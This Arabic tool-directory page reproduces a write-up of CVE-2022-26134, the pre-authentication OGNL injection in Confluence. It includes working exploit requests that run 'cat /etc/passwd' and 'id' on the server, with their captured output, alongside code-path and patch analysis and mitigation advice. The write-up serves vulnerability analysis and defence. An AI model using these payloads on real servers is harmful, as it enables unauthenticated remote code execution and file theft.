Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-26134 — [CVE-2022-26134] حقن لغة التنقل في الرسم البياني للكائنات (OGNL) قبل المصادقة في Confluence | Kitploit
أدوات/GitHubGitHub/murataydemir/cve-2022-26134
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubmurataydemir/cve-2022-26134

CVE-2022-26134

[CVE-2022-26134] حقن لغة التنقل في الرسم البياني للكائنات (OGNL) قبل المصادقة في Confluence

عرض المستودع
13منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

[CVE-2022-26134] حقن لغة التنقل في الرسم البياني للكائنات (OGNL) قبل المصادقة في Confluence


Confluence هو منتج تعاوني قائم على الويب لمساحات العمل، تم تطويره بواسطة Atlassian. يمكن نشره محليًا (on-prem) أو كجزء من Atlassian Cloud. يتكوّن من 3 ميزات رئيسية: الصفحة، والمساحة، وشجرة الصفحات.

  • الصفحة: يعيش محتواك في الصفحات – وهي مستندات حيّة تنشئها على موقع Confluence. يمكنك إنشاء صفحات لأي شيء تقريبًا، بدءًا من خطط المشاريع وحتى ملاحظات الاجتماعات وأدلة استكشاف الأخطاء وإصلاحها والسياسات والمزيد.
  • المساحة: تُخزَّن الصفحات في مساحات – وهي مساحات عمل يمكنك من خلالها التعاون على العمل وإبقاء جميع محتواك منظمًا.
  • شجرة الصفحات: نظّم محتوى المساحة باستخدام شجرة صفحات هرمية تجعل العثور على العمل سريعًا وسهلاً. يمكنك تداخل الصفحات تحت المساحات والصفحات ذات الصلة لتنظيم الصفحات بأي طريقة تقريبًا.

في 2022-06-02 الساعة 20:00 UTC، أصدرت Atlassian نشرة أمنية تتعلق بثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) تؤثر على منتجات Confluence Server وConfluence Data Center. يمكنك العثور على معلومات مفصلة حول ثغرة CVE-2022-26134 في الأسفل.

الملخص: CVE-2022-26134 - ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة بخطورة حرجة في Confluence Server وData Center
تاريخ إصدار النشرة: 02 يونيو 2022
المنتجات المتأثرة: Confluence Server وConfluence Data Center
الإصدارات المتأثرة: جميع الإصدارات المدعومة من Confluence Server وData Center متأثرة. الإصدارات الأحدث من 1.3.0 من Confluence Server وData Center متأثرة.
الإصدارات المُصححة: 7.4.17، 7.13.7، 7.14.3، 7.15.2، 7.16.4، 7.17.4 و7.18.1
معرّف (معرّفات) CVE: CVE-2022-26134 حقن لغة التنقل في الرسم البياني للكائنات (OGNL) قبل المصادقة في Confluence

إثبات المفهوم: طلب نموذجي 1

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

الاستجابة 1

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

PoC-1

إثبات المفهوم: طلب نموذجي 2

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

الاستجابة 2

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close

PoC-2
كيف تعمل الثغرة؟
يقوم Confluence بتحليل /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ في عنوان URL كمساحة اسم (namespace). ثم يستخدم الكود translateVariables (جزء من أدوات تحليل النصوص في Confluence) على هذه المساحة. ولأن translateVariables يستخدم OGNL، فسيتم تحليل الهجوم وتقييمه.

تعتبر findValue(str) في OgnlValueStack مهمة لأنها نقطة البداية لتقييم تعبير OGNL. وكما ترى في المقتطف أدناه، يستدعي TextParseUtil.class الدالة OgnlValueStack.findValue عند استغلال هذه الثغرة.

root@kitploit:~
public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

يستدعي ActionChainResult.class الدالة TextParseUtil.translateVariables باستخدام this.namespace كتعبير مُمرَر:

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

حيث يتم إنشاء namespace من سلسلة URI الخاصة بالطلب في com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:

root@kitploit:~
public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

النتيجة هي أن عنوان URI الذي يوفره المهاجم سيتم تحويله إلى namespace، والذي سيجد طريقه بعد ذلك إلى تقييم تعبير OGNL. على مستوى عالٍ، هذا مشابه جدًا لـ CVE-2018-11776، ثغرة حقن OGNL في namespace الخاصة بـ Apache Struts2.

تحليل التصحيح
وجّهت Atlassian العملاء إلى استبدال xwork-1.0.3.6.jar بـ xwork-1.0.3-atlassian-10.jar المُصدر حديثًا. تحتوي ملفات JAR الخاصة بـ xwork على ActionChainResult.class وTextParseUtil.class اللذين حددناهما كمسار لتقييم تعبير OGNL.

يُجري التصحيح عددًا من التغييرات الصغيرة لإصلاح هذه المشكلة. على سبيل المثال، لم يعد namespace يُمرَّر إلى TextParseUtil.translateVariables من ActionChainResult.execute:

قبل

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

بعد

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

PoC-3

بفضل مخرجات أمر git diff، يمكنك رؤية الاختلافات قبل التصحيح وبعده في ActionChainResult.class في لقطة الشاشة أدناه. (منسوخ من مقال Datalog)

PoC-5

أضافت Atlassian أيضًا SafeExpressionUtil.class إلى xworks jar. يوفر SafeExpressionUtil.class تصفية للتعبيرات غير الآمنة، وقد تم إدراجه في OgnlValueStack.class لفحص التعبيرات عند استدعاء findValue. على سبيل المثال:

root@kitploit:~
public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))

PoC-4

ماذا يمكن للمؤسسات فعله للحماية من هذه الثغرة؟
الآن بعد أن أصبح التصحيح متاحًا، يرجى الترقية إلى إصدار مُصحح من Confluence. إذا لم يكن تطبيق التصحيح ممكنًا في الوقت الحالي، فقد قدمت Atlassian تعليمات مؤقتة للتجاوز (workaround) للعملاء بناءً على إصدارات Confluence الخاصة بهم. وكلاهما يتطلب إيقاف تشغيل Confluence مؤقتًا أثناء تطبيق الإجراءات التخفيفية. لمزيد من المعلومات، يُرجى الرجوع إلى الإرشادات المحددة من نشرة Atlassian الأمنية:

  • لإصدارات Confluence 7.15.0 - 7.18.0
  • لإصدارات Confluence 7.0.0 - Confluence 7.14.2

لمزيد من المعلومات حول معالجة هذه الثغرة، يرجى زيارة الموارد التالية:

  • المقال الأصلي: Volexity: استغلال يوم الصفر في Atlassian Confluence
  • مراجع للتحليلات الفنية: AttackerDB: CVE-2022-26134 | Datadog: ثغرة تنفيذ التعليمات البرمجية عن بُعد في Confluence (CVE-2022-26134): نظرة عامة واكتشاف ومعالجة
  • CVE-2022-26134: ثغرة يوم الصفر في Atlassian Confluence Server وData Center تم استغلالها في البرية
  • استغلال نشط لثغرة CVE-2022-26134 في Confluence
  • النشرة الأمنية لـ Confluence 2022-06-02
تنزيل الأداة